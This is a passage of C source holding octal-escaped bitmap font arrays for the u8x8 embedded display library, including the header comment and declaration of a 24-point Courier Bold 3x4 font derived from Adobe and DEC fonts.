"\0\0\0\0\0\0\0\71;;\71\370\370\370y\373\363\301\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\371\373\372z\373\361\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\360\376\377\217\203\200\203\217\377\376\360\200\0\0\0\0\0\0\0ppp~\177\177sss\3\3\3" "sss\177\177~ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\370\370\370\70\370\370\370\70\70\70\70\370\370\370\0\0\0\0\0\0\0\0\340" "\376\377\237\200\200\377\377\377\60\60\374\374\3\3\3\0\0\0\0\0pp~\177\177qqqq\177\177\177" "ppqqp~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360px\70\70\70\70p\360\360\370\370\0\0\0\0\0\0\0\0\376\377\377" "\3\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\1\7\37\37<\70xp\360\360p" "px\70<\36\14\0\0\0\0\0\0\0\0\0\0\0\0\14\30\30\33\37\36\14\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\71\71;;\70\370\370\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70;;\71\71\70\70\370\370\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\372\373\373\71\70\70\70\71;;\372\370\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\371\373;\71\70\70\70\71;\373\371\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\70\371\371\373;\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\70\373\373\371\71\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70:;;\71\370\370\370\71;;:\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\71;;\71\370\370\370\71;;\71\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\70\70\370\370\370\70\70\70\70\70xp\360\340\300\200\0\0\0\0\0\0\0\0\70\70" "\377\377\377\70\70\70\70\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0pp\177\177\177ppppp" "px\70>\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\70\370\370\373\363\340\200\1\1;:;\71\370\370\370\70\70\0\0\0\0\0\0\0\377" "\377\377\1\7\37>\374\360\340\200\0\377\377\377\0\0\0\0\0\0\0pp\177\177\177pppp\0\1" "\7\37>\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360x\70\71\71;;x\360\360\300\200\0\0\0\0\0\0\0\0\374\377\377" "\3\0\0\0\0\0\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0\0\3\17\37>\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360x;;\71\71\70x\360\360\300\200\0\0\0\0\0\0\0\0\374\377\377" "\3\0\0\0\0\0\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0\0\3\17\37>\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\342\363{\71\70\70\70\71{\363\362\300\200\0\0\0\0\0\0\0\0\374\377\377" "\3\0\0\0\0\0\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0\0\3\17\37>\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\363{\70\70\71\71;z\363\361\300\200\0\0\0\0\0\0\0\0\374\377\377" "\3\0\0\0\0\0\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0\0\3\17\37>\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\341\363{\71\70\70\70\71{\363\361\300\200\0\0\0\0\0\0\0\0\374\377\377" "\3\0\0\0\0\0\0\0\0\0\3\377\377\374\0\0\0\0\0\0\0\0\3\17\37>\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\3\7" "\17\37>\370\360\340\360\370>\37\17\7\3\0\0\0\0\0\0\0\0\0px|>\37\7\3\1\3\7" "\37>|xp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360px\70\70\70x\360\360\360\374<\34\0\0\0\0\0\0\0\374\377\377" "\3\1\200\300\360\370~\37\17\7\3\377\377\374\0\0\0\0\0\0\0\301\367\377\177\77\177wqppp" "x<\37\17\7\1\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\70\70\70\1\1\3;\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "x<\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\70\70;\3\1\1\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "x<\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\372;;\71\0\0\0\71;;\372\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "x<\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\71\71\70\70\0\70\70\71\71\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "x<\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70x\370\370\370;\3\1\1\70\370\370\370x\70\70\0\0\0\0\0\0\0\0\0\0" "\1\7\17\77\374\370\374\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0pppp\177\177\177p" "ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\270\270\270\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\3\3\3\3\3\3\207\207\377\376\374\60\0\0\0\0\0\0ppp\177\177\177www\7\7" "\7\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\360\370<\34\34\34<\370\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\0\34\34\34\36\77\177\363\360\340\200\0\0\0\0\0\0\0ppp\177\177\177p\34<|p\360" "\360p\177\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\4\6\16\34\30\70\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\216\216\317\307\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177wsqqqq\71" "\71\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0`p\60\70\34\16\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\216\216\317\307\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177ssqqqq\71" "\35\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \60\70\30\14\6\14\30\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\216" "\216\316\317\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177wsqqqq\61\71" "\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70<\14\14\30\30\60\60<\34\0\0\0\0\0\0\0\0\0\0\0\0\0\216" "\216\317\307\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177wsqqqq\71\31" "\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\0\0" "\216\216\317\307\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177wsqqqq\71" "\31\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\70lDDl\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\216" "\216\317\307\307\307\307\307\317\376\374\370\0\0\0\0\0\0\0\0\0\0\34\77\177wsqqqq\71\31" "\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\216\316" "\317\307\347\347\357\376\376\376\316\317\307\317\316\376\370\360\0\0\0\0\17\37\77{qqqy\71\77\177\77" "=qqqq\71\71\71\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370" "\374>\16\17\7\7\7\7\17\16~\177\177\0\0\0\0\0\0\0\0\0\7\17\37<\70xp\360\360p" "pp\70<\34\10\0\0\0\0\0\0\0\0\0\0\0\0\14\10\30\33\37\16\4\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\10\14\34\70\60p`\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374" "\376\316\317\307\307\307\307\317\316\376\374\370\340\0\0\0\0\0\0\0\0\3\17\37=\71yqqqqq" "q\71\71\71\31\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0`p\60\70\34\16\14\0\0\0\0\0\0\0\0\0\0\0\340\370\374" "\376\316\317\307\307\307\307\317\316\376\374\370\340\0\0\0\0\0\0\0\0\3\17\37=\71yqqqqq" "q\71\71\71\21\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \60\70\30\14\6\14\30\70\60 \0\0\0\0\0\0\0\0\0\0\340\370\374" "\376\316\317\307\307\307\307\317\316\376\374\370\340\0\0\0\0\0\0\0\0\3\17\37=\71yqqqqq" "y\71\71\71\71\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\340\370\374" "\376\316\317\307\307\307\307\317\316\376\374\370\340\0\0\0\0\0\0\0\0\3\17\37=\71yqqqqq" "y\71\71\71\71\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\4\6\16\34\30\70\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177p" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\60\70\30\34\16\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177p" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 \60\70\30\14\6\14\30\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177p" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177p" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\30\234\234\234\334\334\374\370\370\360\370\370\234\34\14\10\0\0\0\0\0\0\0\0\300\363" "\363{\71\35\34\34\34\34\33\77\177\376\370\300\0\0\0\0\0\0\0\0\17\37\77|xppppp" "x\70>\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70<\14\14\30\30\60\60<\34\0\0\0\0\0\0\0\0\0\0\0\7\7\377" "\377\377\14\6\7\7\7\7\17\376\376\374\0\0\0\0\0\0\0\0\0pp\177\177\177pp\0\0\0p" "p\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\10\14\34\70\60p`\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374" "<\36\17\7\7\7\7\7\17\36<\374\360\340\0\0\0\0\0\0\0\3\17\37>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0`p\60\70\34\16\14\0\0\0\0\0\0\0\0\0\0\0\340\360\374" "<\36\17\7\7\7\7\7\17\36<\374\360\340\0\0\0\0\0\0\0\3\17\37>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \60\70\30\14\6\14\30\70\60 \0\0\0\0\0\0\0\0\0\0\340\360\374" "<\36\17\7\7\7\7\7\17\36<\374\360\340\0\0\0\0\0\0\0\3\17\37>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\70<\14\14\30\30\60\60<\34\0\0\0\0\0\0\0\0\0\0\340\360\374" "<\36\17\7\7\7\7\7\17\36<\374\360\340\0\0\0\0\0\0\0\3\17\37>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\340\360\374" "<\36\17\7\7\7\7\7\17\36<\374\360\340\0\0\0\0\0\0\0\3\17\37>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp" "pppqsssqppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\36\36\36\14" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\300\360\374" "<\36\16\17\207\307\347\377~>>\377\367\303\0\0\0\0\0\0\0\303\357\377|<~\177wsqp" "x\70<\37\17\3\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\4\6\16\34\30\70\60\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177ppppp\70" "\34\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0`p\60\70\34\16\14\0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177ppppp\70" "\34\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 \60\70\30\14\6\14\30\70\60 \0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177ppppp\70" "\34\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177ppppp\70" "\34\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0`p\60\70\34\16\14\0\0\0\0\0\0\0\0\0\0\0\7\17\77" "\377\377\347\207\0\0\0\207\347\377\377\77\17\7\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\376\77" "\17\3\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70<\77\77;\70\70\0\0\0\0\0\0\0\0" "\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377>\36\17\7\7\7\7\17\36>\374\370\340\0\0\0\0\0\0\0\0\377\377\377>\70xppp" "px\70>\37\17\3\0\0\0\0\0\70\70\70\77\77\77\70\70\70\70\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\0\0\0\0\7\17\77" "\377\377\347\207\0\0\0\207\347\377\377\77\17\7\0\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\376\77" "\17\3\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70<\77\77;\70\70\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Bold-R-Normal--34-240-100-100-M-200-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 95/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courB24_3x4_r[9124] U8X8_FONT_SECTION("u8x8_font_courB24_3x4_r") = " ~\3\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\370\374\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 qsq " "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\17\37\17\0\0\0\17\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\207" "\207\377\377\377\207\207\207\377\377\377\207\207\7\0\0\0\0\0\0\0\0\0\3\3\377\377\377\3\3\3\377\377" "\377\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\3\3\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360p\70\77\77\77\70x\360\370\370\0\0\0\0\0\0\0\0\0\0\0\7" "\17\37\36\34<<\70xx\361\361\341\300\0\0\0\0\0\0\0\0\0\0\77\77\77\34\30\370\370\370\70" "\30\34\37\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\370\34\14\14\14\34\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\301" "\303\347ff\66\267\333\331\334\314\316\206\7\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\17\77q`" "``q\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\317\377\377\371\340\300\200\1\301\300\300\300\0\0\0\0\0\0\0\0\0\0\37\77\177qppqs\77\36" "\177\177qq\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\374\374|\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\374<\34\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\370\377\377\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\16\0\0\0\0\0" "\0\0\0\0\0\0\0\0\34<\374\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\1\77\377\377\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\77\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\17\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\300\200\200\0\374\374\374\0\200\200\300\300\200\0\0\0\0\0\0\0\0\0\0" "A\341\363\177\77\37\17\37\77\177\363\341A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppp" "pppp\377\377\377ppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374|<\14" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\17\7\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pp" "ppppppppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60xxx\60" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\37\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\360\374\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\77\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370x\34\34\34\34\34x\370\360\300\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\7\37\77\177\367\343\200\0\0\0\0\0\0\0\0\0\70\70xppppppp" "x<\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\370|\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\200\340" "\360\374\277\217\207\201\200\377\377\377\200\200\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3sss\177" "\177\177ss\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\34\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0" "\37\37\37\16\16\16\16\36\36<\374\370\340\0\0\0\0\0\0\0\0\0\30<\70xpppppp" "x<\77\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 